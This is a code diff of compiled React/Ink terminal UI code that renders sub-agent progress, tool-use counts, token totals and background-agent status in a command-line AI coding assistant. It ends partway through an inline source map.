+    t1 = $[0];
+  }
+  let t2;
+  if ($[1] !== content) {
+    t2 = content.map(_temp);
+    $[1] = content;
+    $[2] = t2;
+  } else {
+    t2 = $[2];
+  }
+  let t3;
+  if ($[3] !== t2) {
+    t3 = <Box flexDirection="column">{t1}{t2}</Box>;
+    $[3] = t2;
+    $[4] = t3;
+  } else {
+    t3 = $[4];
+  }
+  return t3;
+}
+function _temp(block, index) {
+  return <Box key={index} paddingLeft={2} marginTop={index === 0 ? 0 : 1}><Markdown>{block.text}</Markdown></Box>;
+}
+type VerboseAgentTranscriptProps = {
+  progressMessages: ProgressMessage<Progress>[];
+  tools: Tools;
+  verbose: boolean;
+};
+function VerboseAgentTranscript(t0) {
+  const $ = _c(15);
+  const {
+    progressMessages,
+    tools,
+    verbose
+  } = t0;
+  let t1;
+  if ($[0] !== progressMessages) {
+    t1 = buildSubagentLookups(progressMessages.filter(_temp2).map(_temp3));
+    $[0] = progressMessages;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const {
+    lookups: agentLookups,
+    inProgressToolUseIDs
+  } = t1;
+  let t2;
+  if ($[2] !== agentLookups || $[3] !== inProgressToolUseIDs || $[4] !== progressMessages || $[5] !== tools || $[6] !== verbose) {
+    const filteredMessages = progressMessages.filter(_temp4);
+    let t3;
+    if ($[8] !== agentLookups || $[9] !== inProgressToolUseIDs || $[10] !== tools || $[11] !== verbose) {
+      t3 = progressMessage => <MessageResponse key={progressMessage.uuid} height={1}><MessageComponent message={progressMessage.data.message} lookups={agentLookups} addMargin={false} tools={tools} commands={[]} verbose={verbose} inProgressToolUseIDs={inProgressToolUseIDs} progressMessagesForMessage={[]} shouldAnimate={false} shouldShowDot={false} isTranscriptMode={false} isStatic={true} /></MessageResponse>;
+      $[8] = agentLookups;
+      $[9] = inProgressToolUseIDs;
+      $[10] = tools;
+      $[11] = verbose;
+      $[12] = t3;
+    } else {
+      t3 = $[12];
+    }
+    t2 = filteredMessages.map(t3);
+    $[2] = agentLookups;
+    $[3] = inProgressToolUseIDs;
+    $[4] = progressMessages;
+    $[5] = tools;
+    $[6] = verbose;
+    $[7] = t2;
+  } else {
+    t2 = $[7];
+  }
+  let t3;
+  if ($[13] !== t2) {
+    t3 = <>{t2}</>;
+    $[13] = t2;
+    $[14] = t3;
+  } else {
+    t3 = $[14];
+  }
+  return t3;
+}
+function _temp4(pm_1) {
+  if (!hasProgressMessage(pm_1.data)) {
+    return false;
+  }
+  const msg = pm_1.data.message;
+  if (msg.type === "user" && msg.toolUseResult === undefined) {
+    return false;
+  }
+  return true;
+}
+function _temp3(pm_0) {
+  return pm_0.data;
+}
+function _temp2(pm) {
+  return hasProgressMessage(pm.data);
+}
+export function renderToolResultMessage(data: Output, progressMessagesForMessage: ProgressMessage<Progress>[], {
+  tools,
+  verbose,
+  theme,
+  isTranscriptMode = false
+}: {
+  tools: Tools;
+  verbose: boolean;
+  theme: ThemeName;
+  isTranscriptMode?: boolean;
+}): React.ReactNode {
+  // Remote-launched agents (ant-only) use a private output type not in the
+  // public schema. Narrow via the internal discriminant.
+  const internal = data as Output | RemoteLaunchedOutput;
+  if (internal.status === 'remote_launched') {
+    return <Box flexDirection="column">
+        <MessageResponse height={1}>
+          <Text>
+            Remote agent launched{' '}
+            <Text dimColor>
+              · {internal.taskId} · {internal.sessionUrl}
+            </Text>
+          </Text>
+        </MessageResponse>
+      </Box>;
+  }
+  if (data.status === 'async_launched') {
+    const {
+      prompt
+    } = data;
+    return <Box flexDirection="column">
+        <MessageResponse height={1}>
+          <Text>
+            Backgrounded agent
+            {!isTranscriptMode && <Text dimColor>
+                {' ('}
+                <Byline>
+                  <KeyboardShortcutHint shortcut="↓" action="manage" />
+                  {prompt && <ConfigurableShortcutHint action="app:toggleTranscript" context="Global" fallback="ctrl+o" description="expand" />}
+                </Byline>
+                {')'}
+              </Text>}
+          </Text>
+        </MessageResponse>
+        {isTranscriptMode && prompt && <MessageResponse>
+            <AgentPromptDisplay prompt={prompt} theme={theme} />
+          </MessageResponse>}
+      </Box>;
+  }
+  if (data.status !== 'completed') {
+    return null;
+  }
+  const {
+    agentId,
+    totalDurationMs,
+    totalToolUseCount,
+    totalTokens,
+    usage,
+    content,
+    prompt
+  } = data;
+  const result = [totalToolUseCount === 1 ? '1 tool use' : `${totalToolUseCount} tool uses`, formatNumber(totalTokens) + ' tokens', formatDuration(totalDurationMs)];
+  const completionMessage = `Done (${result.join(' · ')})`;
+  const finalAssistantMessage = createAssistantMessage({
+    content: completionMessage,
+    usage: {
+      ...usage,
+      inference_geo: null,
+      iterations: null,
+      speed: null
+    }
+  });
+  return <Box flexDirection="column">
+      {"external" === 'ant' && <MessageResponse>
+          <Text color="warning">
+            [ANT-ONLY] API calls: {getDisplayPath(getDumpPromptsPath(agentId))}
+          </Text>
+        </MessageResponse>}
+      {isTranscriptMode && prompt && <MessageResponse>
+          <AgentPromptDisplay prompt={prompt} theme={theme} />
+        </MessageResponse>}
+      {isTranscriptMode ? <SubAgentProvider>
+          <VerboseAgentTranscript progressMessages={progressMessagesForMessage} tools={tools} verbose={verbose} />
+        </SubAgentProvider> : null}
+      {isTranscriptMode && content && content.length > 0 && <MessageResponse>
+          <AgentResponseDisplay content={content} theme={theme} />
+        </MessageResponse>}
+      <MessageResponse height={1}>
+        <MessageComponent message={finalAssistantMessage} lookups={EMPTY_LOOKUPS} addMargin={false} tools={tools} commands={[]} verbose={verbose} inProgressToolUseIDs={new Set()} progressMessagesForMessage={[]} shouldAnimate={false} shouldShowDot={false} isTranscriptMode={false} isStatic={true} />
+      </MessageResponse>
+      {!isTranscriptMode && <Text dimColor>
+          {'  '}
+          <CtrlOToExpand />
+        </Text>}
+    </Box>;
+}
+export function renderToolUseMessage({
+  description,
+  prompt
+}: Partial<{
+  description: string;
+  prompt: string;
+}>): React.ReactNode {
+  if (!description || !prompt) {
+    return null;
+  }
+  return description;
+}
+export function renderToolUseTag(input: Partial<{
+  description: string;
+  prompt: string;
+  subagent_type: string;
+  model?: ModelAlias;
+}>): React.ReactNode {
+  const tags: React.ReactNode[] = [];
+  if (input.model) {
+    const mainModel = getMainLoopModel();
+    const agentModel = parseUserSpecifiedModel(input.model);
+    if (agentModel !== mainModel) {
+      tags.push(<Box key="model" flexWrap="nowrap" marginLeft={1}>
+          <Text dimColor>{renderModelName(agentModel)}</Text>
+        </Box>);
+    }
+  }
+  if (tags.length === 0) {
+    return null;
+  }
+  return <>{tags}</>;
+}
+const INITIALIZING_TEXT = 'Initializing…';
+export function renderToolUseProgressMessage(progressMessages: ProgressMessage<Progress>[], {
+  tools,
+  verbose,
+  terminalSize,
+  inProgressToolCallCount,
+  isTranscriptMode = false
+}: {
+  tools: Tools;
+  verbose: boolean;
+  terminalSize?: {
+    columns: number;
+    rows: number;
+  };
+  inProgressToolCallCount?: number;
+  isTranscriptMode?: boolean;
+}): React.ReactNode {
+  if (!progressMessages.length) {
+    return <MessageResponse height={1}>
+        <Text dimColor>{INITIALIZING_TEXT}</Text>
+      </MessageResponse>;
+  }
+
+  // Checks to see if we should show a super condensed progress message summary.
+  // This prevents flickers when the terminal size is too small to render all the dynamic content
+  const toolToolRenderLinesEstimate = (inProgressToolCallCount ?? 1) * ESTIMATED_LINES_PER_TOOL + TERMINAL_BUFFER_LINES;
+  const shouldUseCondensedMode = !isTranscriptMode && terminalSize && terminalSize.rows && terminalSize.rows < toolToolRenderLinesEstimate;
+  const getProgressStats = () => {
+    const toolUseCount = count(progressMessages, msg => {
+      if (!hasProgressMessage(msg.data)) {
+        return false;
+      }
+      const message = msg.data.message;
+      return message.message.content.some(content => content.type === 'tool_use');
+    });
+    const latestAssistant = progressMessages.findLast((msg): msg is ProgressMessage<AgentToolProgress> => hasProgressMessage(msg.data) && msg.data.message.type === 'assistant');
+    let tokens = null;
+    if (latestAssistant?.data.message.type === 'assistant') {
+      const usage = latestAssistant.data.message.message.usage;
+      tokens = (usage.cache_creation_input_tokens ?? 0) + (usage.cache_read_input_tokens ?? 0) + usage.input_tokens + usage.output_tokens;
+    }
+    return {
+      toolUseCount,
+      tokens
+    };
+  };
+  if (shouldUseCondensedMode) {
+    const {
+      toolUseCount,
+      tokens
+    } = getProgressStats();
+    return <MessageResponse height={1}>
+        <Text dimColor>
+          In progress… · <Text bold>{toolUseCount}</Text> tool{' '}
+          {toolUseCount === 1 ? 'use' : 'uses'}
+          {tokens && ` · ${formatNumber(tokens)} tokens`} ·{' '}
+          <ConfigurableShortcutHint action="app:toggleTranscript" context="Global" fallback="ctrl+o" description="expand" parens />
+        </Text>
+      </MessageResponse>;
+  }
+
+  // Process messages to group consecutive search/read operations into summaries (ants only)
+  // isAgentRunning=true since this is the progress view while the agent is still running
+  const processedMessages = processProgressMessages(progressMessages, tools, true);
+
+  // For display, take the last few processed messages
+  const displayedMessages = isTranscriptMode ? processedMessages : processedMessages.slice(-MAX_PROGRESS_MESSAGES_TO_SHOW);
+
+  // Count hidden tool uses specifically (not all messages) to match the
+  // final "Done (N tool uses)" count. Each tool use generates multiple
+  // progress messages (tool_use + tool_result + text), so counting all
+  // hidden messages inflates the number shown to the user.
+  const hiddenMessages = isTranscriptMode ? [] : processedMessages.slice(0, Math.max(0, processedMessages.length - MAX_PROGRESS_MESSAGES_TO_SHOW));
+  const hiddenToolUseCount = count(hiddenMessages, m => {
+    if (m.type === 'summary') {
+      return m.searchCount + m.readCount + m.replCount > 0;
+    }
+    const data = m.message.data;
+    if (!hasProgressMessage(data)) {
+      return false;
+    }
+    return data.message.message.content.some(content => content.type === 'tool_use');
+  });
+  const firstData = progressMessages[0]?.data;
+  const prompt = firstData && hasProgressMessage(firstData) ? firstData.prompt : undefined;
+
+  // After grouping, displayedMessages can be empty when the only progress so
+  // far is an assistant tool_use for a search/read op (grouped but not yet
+  // counted, since counts increment on tool_result). Fall back to the
+  // initializing text so MessageResponse doesn't render a bare ⎿.
+  if (displayedMessages.length === 0 && !(isTranscriptMode && prompt)) {
+    return <MessageResponse height={1}>
+        <Text dimColor>{INITIALIZING_TEXT}</Text>
+      </MessageResponse>;
+  }
+  const {
+    lookups: subagentLookups,
+    inProgressToolUseIDs: collapsedInProgressIDs
+  } = buildSubagentLookups(progressMessages.filter((pm): pm is ProgressMessage<AgentToolProgress> => hasProgressMessage(pm.data)).map(pm => pm.data));
+  return <MessageResponse>
+      <Box flexDirection="column">
+        <SubAgentProvider>
+          {isTranscriptMode && prompt && <Box marginBottom={1}>
+              <AgentPromptDisplay prompt={prompt} />
+            </Box>}
+          {displayedMessages.map(processed => {
+          if (processed.type === 'summary') {
+            // Render summary for grouped search/read/REPL operations using shared formatting
+            const summaryText = getSearchReadSummaryText(processed.searchCount, processed.readCount, processed.isActive, processed.replCount);
+            return <Box key={processed.uuid} height={1} overflow="hidden">
+                  <Text dimColor>{summaryText}</Text>
+                </Box>;
+          }
+          // Render original message without height=1 wrapper so null
+          // content (tool not found, renderToolUseMessage returns null)
+          // doesn't leave a blank line. Tool call headers are single-line
+          // anyway so truncation isn't needed.
+          return <MessageComponent key={processed.message.uuid} message={processed.message.data.message} lookups={subagentLookups} addMargin={false} tools={tools} commands={[]} verbose={verbose} inProgressToolUseIDs={collapsedInProgressIDs} progressMessagesForMessage={[]} shouldAnimate={false} shouldShowDot={false} style="condensed" isTranscriptMode={false} isStatic={true} />;
+        })}
+        </SubAgentProvider>
+        {hiddenToolUseCount > 0 && <Text dimColor>
+            +{hiddenToolUseCount} more tool{' '}
+            {hiddenToolUseCount === 1 ? 'use' : 'uses'} <CtrlOToExpand />
+          </Text>}
+      </Box>
+    </MessageResponse>;
+}
+export function renderToolUseRejectedMessage(_input: {
+  description: string;
+  prompt: string;
+  subagent_type: string;
+}, {
+  progressMessagesForMessage,
+  tools,
+  verbose,
+  isTranscriptMode
+}: {
+  columns: number;
+  messages: Message[];
+  style?: 'condensed';
+  theme: ThemeName;
+  progressMessagesForMessage: ProgressMessage<Progress>[];
+  tools: Tools;
+  verbose: boolean;
+  isTranscriptMode?: boolean;
+}): React.ReactNode {
+  // Get agentId from progress messages if available (agent was running before rejection)
+  const firstData = progressMessagesForMessage[0]?.data;
+  const agentId = firstData && hasProgressMessage(firstData) ? firstData.agentId : undefined;
+  return <>
+      {"external" === 'ant' && agentId && <MessageResponse>
+          <Text color="warning">
+            [ANT-ONLY] API calls: {getDisplayPath(getDumpPromptsPath(agentId))}
+          </Text>
+        </MessageResponse>}
+      {renderToolUseProgressMessage(progressMessagesForMessage, {
+      tools,
+      verbose,
+      isTranscriptMode
+    })}
+      <FallbackToolUseRejectedMessage />
+    </>;
+}
+export function renderToolUseErrorMessage(result: ToolResultBlockParam['content'], {
+  progressMessagesForMessage,
+  tools,
+  verbose,
+  isTranscriptMode
+}: {
+  progressMessagesForMessage: ProgressMessage<Progress>[];
+  tools: Tools;
+  verbose: boolean;
+  isTranscriptMode?: boolean;
+}): React.ReactNode {
+  return <>
+      {renderToolUseProgressMessage(progressMessagesForMessage, {
+      tools,
+      verbose,
+      isTranscriptMode
+    })}
+      <FallbackToolUseErrorMessage result={result} verbose={verbose} />
+    </>;
+}
+function calculateAgentStats(progressMessages: ProgressMessage<Progress>[]): {
+  toolUseCount: number;
+  tokens: number | null;
+} {
+  const toolUseCount = count(progressMessages, msg => {
+    if (!hasProgressMessage(msg.data)) {
+      return false;
+    }
+    const message = msg.data.message;
+    return message.type === 'user' && message.message.content.some(content => content.type === 'tool_result');
+  });
+  const latestAssistant = progressMessages.findLast((msg): msg is ProgressMessage<AgentToolProgress> => hasProgressMessage(msg.data) && msg.data.message.type === 'assistant');
+  let tokens = null;
+  if (latestAssistant?.data.message.type === 'assistant') {
+    const usage = latestAssistant.data.message.message.usage;
+    tokens = (usage.cache_creation_input_tokens ?? 0) + (usage.cache_read_input_tokens ?? 0) + usage.input_tokens + usage.output_tokens;
+  }
+  return {
+    toolUseCount,
+    tokens
+  };
+}
+export function renderGroupedAgentToolUse(toolUses: Array<{
+  param: ToolUseBlockParam;
+  isResolved: boolean;
+  isError: boolean;
+  isInProgress: boolean;
+  progressMessages: ProgressMessage<Progress>[];
+  result?: {
+    param: ToolResultBlockParam;
+    output: Output;
+  };
+}>, options: {
+  shouldAnimate: boolean;
+  tools: Tools;
+}): React.ReactNode | null {
+  const {
+    shouldAnimate,
+    tools
+  } = options;
+
+  // Calculate stats for each agent
+  const agentStats = toolUses.map(({
+    param,
+    isResolved,
+    isError,
+    progressMessages,
+    result
+  }) => {
+    const stats = calculateAgentStats(progressMessages);
+    const lastToolInfo = extractLastToolInfo(progressMessages, tools);
+    const parsedInput = inputSchema().safeParse(param.input);
+
+    // teammate_spawned is not part of the exported Output type (cast through unknown
+    // for dead code elimination), so check via string comparison on the raw value
+    const isTeammateSpawn = result?.output?.status as string === 'teammate_spawned';
+
+    // For teammate spawns, show @name with type in parens and description as status
+    let agentType: string;
+    let description: string | undefined;
+    let color: keyof Theme | undefined;
+    let descriptionColor: keyof Theme | undefined;
+    let taskDescription: string | undefined;
+    if (isTeammateSpawn && parsedInput.success && parsedInput.data.name) {
+      agentType = `@${parsedInput.data.name}`;
+      const subagentType = parsedInput.data.subagent_type;
+      description = isCustomSubagentType(subagentType) ? subagentType : undefined;
+      taskDescription = parsedInput.data.description;
+      // Use the custom agent definition's color on the type, not the name
+      descriptionColor = isCustomSubagentType(subagentType) ? getAgentColor(subagentType) as keyof Theme | undefined : undefined;
+    } else {
+      agentType = parsedInput.success ? userFacingName(parsedInput.data) : 'Agent';
+      description = parsedInput.success ? parsedInput.data.description : undefined;
+      color = parsedInput.success ? userFacingNameBackgroundColor(parsedInput.data) : undefined;
+      taskDescription = undefined;
+    }
+
+    // Check if this was launched as a background agent OR backgrounded mid-execution
+    const launchedAsAsync = parsedInput.success && 'run_in_background' in parsedInput.data && parsedInput.data.run_in_background === true;
+    const outputStatus = (result?.output as {
+      status?: string;
+    } | undefined)?.status;
+    const backgroundedMidExecution = outputStatus === 'async_launched' || outputStatus === 'remote_launched';
+    const isAsync = launchedAsAsync || backgroundedMidExecution || isTeammateSpawn;
+    const name = parsedInput.success ? parsedInput.data.name : undefined;
+    return {
+      id: param.id,
+      agentType,
+      description,
+      toolUseCount: stats.toolUseCount,
+      tokens: stats.tokens,
+      isResolved,
+      isError,
+      isAsync,
+      color,
+      descriptionColor,
+      lastToolInfo,
+      taskDescription,
+      name
+    };
+  });
+  const anyUnresolved = toolUses.some(t => !t.isResolved);
+  const anyError = toolUses.some(t => t.isError);
+  const allComplete = !anyUnresolved;
+
+  // Check if all agents are the same type
+  const allSameType = agentStats.length > 0 && agentStats.every(stat => stat.agentType === agentStats[0]?.agentType);
+  const commonType = allSameType && agentStats[0]?.agentType !== 'Agent' ? agentStats[0]?.agentType : null;
+
+  // Check if all resolved agents are async (background)
+  const allAsync = agentStats.every(stat => stat.isAsync);
+  return <Box flexDirection="column" marginTop={1}>
+      <Box flexDirection="row">
+        <ToolUseLoader shouldAnimate={shouldAnimate && anyUnresolved} isUnresolved={anyUnresolved} isError={anyError} />
+        <Text>
+          {allComplete ? allAsync ? <>
+                <Text bold>{toolUses.length}</Text> background agents launched{' '}
+                <Text dimColor>
+                  <KeyboardShortcutHint shortcut="↓" action="manage" parens />
+                </Text>
+              </> : <>
+                <Text bold>{toolUses.length}</Text>{' '}
+                {commonType ? `${commonType} agents` : 'agents'} finished
+              </> : <>
+              Running <Text bold>{toolUses.length}</Text>{' '}
+              {commonType ? `${commonType} agents` : 'agents'}…
+            </>}{' '}
+        </Text>
+        {!allAsync && <CtrlOToExpand />}
+      </Box>
+      {agentStats.map((stat, index) => <AgentProgressLine key={stat.id} agentType={stat.agentType} description={stat.description} descriptionColor={stat.descriptionColor} taskDescription={stat.taskDescription} toolUseCount={stat.toolUseCount} tokens={stat.tokens} color={stat.color} isLast={index === agentStats.length - 1} isResolved={stat.isResolved} isError={stat.isError} isAsync={stat.isAsync} shouldAnimate={shouldAnimate} lastToolInfo={stat.lastToolInfo} hideType={allSameType} name={stat.name} />)}
+    </Box>;
+}
+export function userFacingName(input: Partial<{
+  description: string;
+  prompt: string;
+  subagent_type: string;
+  name: string;
+  team_name: string;
+}> | undefined): string {
+  if (input?.subagent_type && input.subagent_type !== GENERAL_PURPOSE_AGENT.agentType) {
+    // Display "worker" agents as "Agent" for cleaner UI
+    if (input.subagent_type === 'worker') {
+      return 'Agent';
+    }
+    return input.subagent_type;
+  }
+  return 'Agent';
+}
+export function userFacingNameBackgroundColor(input: Partial<{
+  description: string;
+  prompt: string;
+  subagent_type: string;
+}> | undefined): keyof Theme | undefined {
+  if (!input?.subagent_type) {
+    return undefined;
+  }
+
+  // Get the color for this agent
+  return getAgentColor(input.subagent_type) as keyof Theme | undefined;
+}
+export function extractLastToolInfo(progressMessages: ProgressMessage<Progress>[], tools: Tools): string | null {
+  // Build tool_use lookup from all progress messages (needed for reverse iteration)
+  const toolUseByID = new Map<string, ToolUseBlockParam>();
+  for (const pm of progressMessages) {
+    if (!hasProgressMessage(pm.data)) {
+      continue;
+    }
+    if (pm.data.message.type === 'assistant') {
+      for (const c of pm.data.message.message.content) {
+        if (c.type === 'tool_use') {
+          toolUseByID.set(c.id, c as ToolUseBlockParam);
+        }
+      }
+    }
+  }
+
+  // Count trailing consecutive search/read operations from the end
+  let searchCount = 0;
+  let readCount = 0;
+  for (let i = progressMessages.length - 1; i >= 0; i--) {
+    const msg = progressMessages[i]!;
+    if (!hasProgressMessage(msg.data)) {
+      continue;
+    }
+    const info = getSearchOrReadInfo(msg, tools, toolUseByID);
+    if (info && (info.isSearch || info.isRead)) {
+      // Only count tool_result messages to avoid double counting
+      if (msg.data.message.type === 'user') {
+        if (info.isSearch) {
+          searchCount++;
+        } else if (info.isRead) {
+          readCount++;
+        }
+      }
+    } else {
+      break;
+    }
+  }
+  if (searchCount + readCount >= 2) {
+    return getSearchReadSummaryText(searchCount, readCount, true);
+  }
+
+  // Find the last tool_result message
+  const lastToolResult = progressMessages.findLast((msg): msg is ProgressMessage<AgentToolProgress> => {
+    if (!hasProgressMessage(msg.data)) {
+      return false;
+    }
+    const message = msg.data.message;
+    return message.type === 'user' && message.message.content.some(c => c.type === 'tool_result');
+  });
+  if (lastToolResult?.data.message.type === 'user') {
+    const toolResultBlock = lastToolResult.data.message.message.content.find(c => c.type === 'tool_result');
+    if (toolResultBlock?.type === 'tool_result') {
+      // Look up the corresponding tool_use — already indexed above
+      const toolUseBlock = toolUseByID.get(toolResultBlock.tool_use_id);
+      if (toolUseBlock) {
+        const tool = findToolByName(tools, toolUseBlock.name);
+        if (!tool) {
+          return toolUseBlock.name; // Fallback to raw name
+        }
+        const input = toolUseBlock.input as Record<string, unknown>;
+        const parsedInput = tool.inputSchema.safeParse(input);
+
+        // Get user-facing tool name
+        const userFacingToolName = tool.userFacingName(parsedInput.success ? parsedInput.data : undefined);
+
+        // Try to get summary from the tool itself
+        if (tool.getToolUseSummary) {
+          const summary = tool.getToolUseSummary(parsedInput.success ? parsedInput.data : undefined);
+          if (summary) {
+            return `${userFacingToolName}: ${summary}`;
+          }
+        }
+
+        // Default: just show user-facing tool name
+        return userFacingToolName;
+      }
+    }
+  }
+  return null;
+}
+function isCustomSubagentType(subagentType: string | undefined): subagentType is string {
+  return !!subagentType && subagentType !== GENERAL_PURPOSE_AGENT.agentType && subagentType !== 'worker';
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJUb29sUmVzdWx0QmxvY2tQYXJhbSIsIlRvb2xVc2VCbG9ja1BhcmFtIiwiUmVhY3QiLCJDb25maWd1cmFibGVTaG9ydGN1dEhpbnQiLCJDdHJsT1RvRXhwYW5kIiwiU3ViQWdlbnRQcm92aWRlciIsIkJ5bGluZSIsIktleWJvYXJkU2hvcnRjdXRIaW50IiwieiIsIkFnZW50UHJvZ3Jlc3NMaW5lIiwiRmFsbGJhY2tUb29sVXNlRXJyb3JNZXNzYWdlIiwiRmFsbGJhY2tUb29sVXNlUmVqZWN0ZWRNZXNzYWdlIiwiTWFya2Rvd24iLCJNZXNzYWdlIiwiTWVzc2FnZUNvbXBvbmVudCIsIk1lc3NhZ2VSZXNwb25zZSIsIlRvb2xVc2VMb2FkZXIiLCJCb3giLCJUZXh0IiwiZ2V0RHVtcFByb21wdHNQYXRoIiwiZmluZFRvb2xCeU5hbWUiLCJUb29scyIsIlByb2dyZXNzTWVzc2FnZSIsIkFnZW50VG9vbFByb2dyZXNzIiwiY291bnQiLCJnZXRTZWFyY2hPclJlYWRGcm9tQ29udGVudCIsImdldFNlYXJjaFJlYWRTdW1tYXJ5VGV4dCIsImdldERpc3BsYXlQYXRoIiwiZm9ybWF0RHVyYXRpb24iLCJmb3JtYXROdW1iZXIiLCJidWlsZFN1YmFnZW50TG9va3VwcyIsImNyZWF0ZUFzc2lzdGFudE1lc3NhZ2UiLCJFTVBUWV9MT09LVVBTIiwiTW9kZWxBbGlhcyIsImdldE1haW5Mb29wTW9kZWwiLCJwYXJzZVVzZXJTcGVjaWZpZWRNb2RlbCIsInJlbmRlck1vZGVsTmFtZSIsIlRoZW1lIiwiVGhlbWVOYW1lIiwib3V0cHV0U2NoZW1hIiwiUHJvZ3Jlc3MiLCJSZW1vdGVMYXVuY2hlZE91dHB1dCIsImlucHV0U2NoZW1hIiwiZ2V0QWdlbnRDb2xvciIsIkdFTkVSQUxfUFVSUE9TRV9BR0VOVCIsIk1BWF9QUk9HUkVTU19NRVNTQUdFU19UT19TSE9XIiwiaGFzUHJvZ3Jlc3NNZXNzYWdlIiwiZGF0YSIsIm1zZyIsIm1lc3NhZ2UiLCJnZXRTZWFyY2hPclJlYWRJbmZvIiwicHJvZ3Jlc3NNZXNzYWdlIiwidG9vbHMiLCJ0b29sVXNlQnlJRCIsIk1hcCIsImlzU2VhcmNoIiwiaXNSZWFkIiwiaXNSRVBMIiwidHlwZSIsImNvbnRlbnQiLCJ0b29sVXNlIiwiZ2V0IiwidG9vbF91c2VfaWQiLCJTdW1tYXJ5TWVzc2FnZSIsInNlYXJjaENvdW50IiwicmVhZENvdW50IiwicmVwbENvdW50IiwidXVpZCIsImlzQWN0aXZlIiwiUHJvY2Vzc2VkTWVzc2FnZSIsInByb2Nlc3NQcm9ncmVzc01lc3NhZ2VzIiwibWVzc2FnZXMiLCJpc0FnZW50UnVubmluZyIsImZpbHRlciIsIm0iLCJtYXAiLCJyZXN1bHQiLCJjdXJyZW50R3JvdXAiLCJzdGFydFV1aWQiLCJmbHVzaEdyb3VwIiwicHVzaCIsImFnZW50TWVzc2FnZXMiLCJjIiwic2V0IiwiaWQiLCJpbmZvIiwiRVNUSU1BVEVEX0xJTkVTX1BFUl9UT09MIiwiVEVSTUlOQUxfQlVGRkVSX0xJTkVTIiwiT3V0cHV0IiwiaW5wdXQiLCJSZXR1cm5UeXBlIiwiQWdlbnRQcm9tcHREaXNwbGF5IiwidDAiLCIkIiwiX2MiLCJwcm9tcHQiLCJkaW0iLCJ0MSIsInVuZGVmaW5lZCIsInQyIiwiU3ltYm9sIiwiZm9yIiwidDMiLCJBZ2VudFJlc3BvbnNlRGlzcGxheSIsIl90ZW1wIiwiYmxvY2siLCJpbmRleCIsInRleHQiLCJWZXJib3NlQWdlbnRUcmFuc2NyaXB0UHJvcHMiLCJwcm9ncmVzc01lc3NhZ2VzIiwidmVyYm9zZSIsIlZlcmJvc2VBZ2VudFRyYW5zY3JpcHQiLCJfdGVtcDIiLCJfdGVtcDMiLCJsb29rdXBzIiwiYWdlbnRMb29rdXBzIiwiaW5Qcm9ncmVzc1Rvb2xVc2VJRHMiLCJmaWx0ZXJlZE1lc3NhZ2VzIiwiX3RlbXA0IiwicG1fMSIsInBtIiwidG9vbFVzZVJlc3VsdCIsInBtXzAiLCJyZW5kZXJUb29sUmVzdWx0TWVzc2FnZSIsInByb2dyZXNzTWVzc2FnZXNGb3JNZXNzYWdlIiwidGhlbWUiLCJpc1RyYW5zY3JpcHRNb2RlIiwiUmVhY3ROb2RlIiwiaW50ZXJuYWwiLCJzdGF0dXMiLCJ0YXNrSWQiLCJzZXNzaW9uVXJsIiwiYWdlbnRJZCIsInRvdGFsRHVyYXRpb25NcyIsInRvdGFsVG9vbFVzZUNvdW50IiwidG90YWxUb2tlbnMiLCJ1c2FnZSIsImNvbXBsZXRpb25NZXNzYWdlIiwiam9pbiIsImZpbmFsQXNzaXN0YW50TWVzc2FnZSIsImluZmVyZW5jZV9nZW8iLCJpdGVyYXRpb25zIiwic3BlZWQiLCJsZW5ndGgiLCJTZXQiLCJyZW5kZXJUb29sVXNlTWVzc2FnZSIsImRlc2NyaXB0aW9uIiwiUGFydGlhbCIsInJlbmRlclRvb2xVc2VUYWciLCJzdWJhZ2VudF90eXBlIiwibW9kZWwiLCJ0YWdzIiwibWFpbk1vZGVsIiwiYWdlbnRNb2RlbCIsIklOSVRJQUxJWklOR19URVhUIiwicmVuZGVyVG9vbFVzZVByb2dyZXNzTWVzc2FnZSIsInRlcm1pbmFsU2l6ZSIsImluUHJvZ3Jlc3NUb29sQ2FsbENvdW50IiwiY29sdW1ucyIsInJvd3MiLCJ0b29sVG9vbFJlbmRlckxpbmVzRXN0aW1hdGUiLCJzaG91bGRVc2VDb25kZW5zZWRNb2RlIiwiZ2V0UHJvZ3Jlc3NTdGF0cyIsInRvb2xVc2VDb3VudCIsInNvbWUiLCJsYXRlc3RBc3Npc3RhbnQiLCJmaW5kTGFzdCIsInRva2VucyIsImNhY2hlX2NyZWF0aW9uX2lucHV0X3Rva2VucyIsImNhY2hlX3JlYWRfaW5wdXRfdG9rZW5zIiwiaW5wdXRfdG9rZW5zIiwib3V0cHV0X3Rva2VucyIsInByb2Nlc3NlZE1lc3NhZ2VzIiwiZGlzcGxheWVkTWVzc2FnZXMiLCJzbGljZSIsImhpZGRlbk1lc3NhZ2VzIiwiTWF0aCIsIm1heCIsImhpZGRlblRvb2xVc2VDb3VudCIsImZpcnN0RGF0YSIsInN1YmFnZW50TG9va3VwcyIsImNvbGxhcHNlZEluUHJvZ3Jlc3NJRHMiLCJwcm9jZXNzZWQiLCJzdW1tYXJ5VGV4dCIsInJlbmRlclRvb2xVc2VSZWplY3RlZE1lc3NhZ2UiLCJfaW5wdXQiLCJzdHlsZSIsInJlbmRlclRvb2xVc2VFcnJvck1lc3NhZ2UiLCJjYWxjdWxhdGVBZ2VudFN0YXRzIiwicmVuZGVyR3JvdXBlZEFnZW50VG9vbFVzZSIsInRvb2xVc2VzIiwiQXJyYXkiLCJwYXJhbSIsImlzUmVzb2x2ZWQiLCJpc0Vycm9yIiwiaXNJblByb2dyZXNzIiwib3V0cHV0Iiwib3B0aW9ucyIsInNob3VsZEFuaW1hdGUiLCJhZ2VudFN0YXRzIiwic3RhdHMiLCJsYXN0VG9vbEluZm8iLCJleHRyYWN0TGFzdFRvb2xJbmZvIiwicGFyc2VkSW5wdXQiLCJzYWZlUGFyc2UiLCJpc1RlYW1tYXRlU3Bhd24iLCJhZ2VudFR5cGUiLCJjb2xvciIsImRlc2NyaXB0aW9uQ29sb3IiLCJ0YXNrRGVzY3JpcHRpb24iLCJzdWNjZXNzIiwibmFtZSIsInN1YmFnZW50VHlwZSIsImlzQ3VzdG9tU3ViYWdlbnRUeXBlIiwidXNlckZhY2luZ05hbWUiLCJ1c2VyRmFjaW5nTmFtZUJhY2tncm91bmRDb2xvciIsImxhdW5jaGVkQXNBc3luYyIsInJ1bl9pbl9iYWNrZ3JvdW5kIiwib3V0cHV0U3RhdHVzIiwiYmFja2dyb3VuZGVkTWlkRXhlY3V0aW9uIiwiaXNBc3luYyIsImFueVVucmVzb2x2ZWQiLCJ0IiwiYW55RXJyb3I